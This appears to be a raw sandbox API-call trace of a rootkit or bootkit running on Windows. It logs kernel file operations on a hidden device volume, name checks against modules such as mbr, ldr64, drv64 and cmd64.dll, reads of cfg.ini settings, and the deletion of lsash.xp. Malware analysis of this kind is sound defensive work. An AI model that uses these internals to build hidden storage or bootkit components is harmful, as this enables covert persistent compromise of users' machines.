[0124.224] KeLeaveCriticalRegion () [0124.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.224] KeEnterCriticalRegion () [0124.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.224] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.224] IdePortDispatch () returned 0x103 [0124.224] KeWaitForMutexObject () returned 0x0 [0124.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.224] KeLeaveCriticalRegion () [0124.224] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.224] KeEnterCriticalRegion () [0124.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003518000 [0124.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.224] IdePortDispatch () returned 0x103 [0124.224] KeWaitForMutexObject () returned 0x0 [0124.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.225] IdePortDispatch () returned 0x103 [0124.225] KeWaitForMutexObject () returned 0x0 [0124.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.225] KeLeaveCriticalRegion () [0124.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.225] KeEnterCriticalRegion () [0124.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.225] KeLeaveCriticalRegion () [0124.225] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.225] KeEnterCriticalRegion () [0124.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.225] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.225] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.225] KeLeaveCriticalRegion () [0124.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.225] KeEnterCriticalRegion () [0124.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.226] ExFreePoolWithTag (P=0xfffffa8003beef60, Tag=0x0) [0124.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.226] KeLeaveCriticalRegion () [0124.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.226] ReleaseMutex (hMutex=0xf0) returned 1 [0124.226] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.226] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.226] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.226] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.226] KeEnterCriticalRegion () [0124.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.226] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.226] IdePortDispatch () returned 0x103 [0124.226] KeWaitForMutexObject () returned 0x0 [0124.226] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.226] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.226] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.226] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.226] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.226] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.226] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.226] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.226] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.226] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.226] KeLeaveCriticalRegion () [0124.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.226] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.227] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.227] KeEnterCriticalRegion () [0124.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.227] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.227] IdePortDispatch () returned 0x103 [0124.227] KeWaitForMutexObject () returned 0x0 [0124.227] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.227] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.227] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.227] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.227] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.227] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.227] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.227] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.227] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.227] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.227] KeLeaveCriticalRegion () [0124.227] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.227] ReleaseMutex (hMutex=0x100) returned 1 [0124.227] Sleep (dwMilliseconds=0x2bf20) [0124.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d3f5e50, dwHighDateTime=0x1d24fa4)) [0124.234] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.234] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.234] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.234] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.234] KeEnterCriticalRegion () [0124.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.234] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.234] IdePortDispatch () returned 0x103 [0124.234] KeWaitForMutexObject () returned 0x0 [0124.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.234] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.234] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.234] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.234] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.234] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0a60 [0124.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.234] KeLeaveCriticalRegion () [0124.234] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.234] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.234] KeEnterCriticalRegion () [0124.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.234] KeLeaveCriticalRegion () [0124.234] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.234] KeEnterCriticalRegion () [0124.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.234] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.234] IdePortDispatch () returned 0x103 [0124.235] KeWaitForMutexObject () returned 0x0 [0124.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.236] KeLeaveCriticalRegion () [0124.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.236] KeEnterCriticalRegion () [0124.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351b000 [0124.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.236] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.236] IdePortDispatch () returned 0x103 [0124.236] KeWaitForMutexObject () returned 0x0 [0124.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.236] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.236] IdePortDispatch () returned 0x103 [0124.236] KeWaitForMutexObject () returned 0x0 [0124.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.236] KeLeaveCriticalRegion () [0124.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.237] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.237] KeEnterCriticalRegion () [0124.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] KeLeaveCriticalRegion () [0124.237] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.237] KeEnterCriticalRegion () [0124.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] KeLeaveCriticalRegion () [0124.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.237] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.237] KeEnterCriticalRegion () [0124.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] ExFreePoolWithTag (P=0xfffffa8003bf0a60, Tag=0x0) [0124.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] KeLeaveCriticalRegion () [0124.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.237] ReleaseMutex (hMutex=0xf0) returned 1 [0124.237] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.237] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.237] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.237] KeEnterCriticalRegion () [0124.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.237] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.237] IdePortDispatch () returned 0x103 [0124.238] KeWaitForMutexObject () returned 0x0 [0124.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0750 [0124.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.238] KeLeaveCriticalRegion () [0124.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.238] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.238] KeEnterCriticalRegion () [0124.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.238] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.238] KeLeaveCriticalRegion () [0124.238] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.238] KeEnterCriticalRegion () [0124.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.238] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.238] IdePortDispatch () returned 0x103 [0124.238] KeWaitForMutexObject () returned 0x0 [0124.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.238] KeLeaveCriticalRegion () [0124.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.239] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.239] KeEnterCriticalRegion () [0124.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351c000 [0124.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.239] IdePortDispatch () returned 0x103 [0124.239] KeWaitForMutexObject () returned 0x0 [0124.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.239] IdePortDispatch () returned 0x103 [0124.239] KeWaitForMutexObject () returned 0x0 [0124.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.239] KeLeaveCriticalRegion () [0124.239] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.240] KeEnterCriticalRegion () [0124.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] KeLeaveCriticalRegion () [0124.240] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.240] KeEnterCriticalRegion () [0124.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] KeLeaveCriticalRegion () [0124.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.240] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 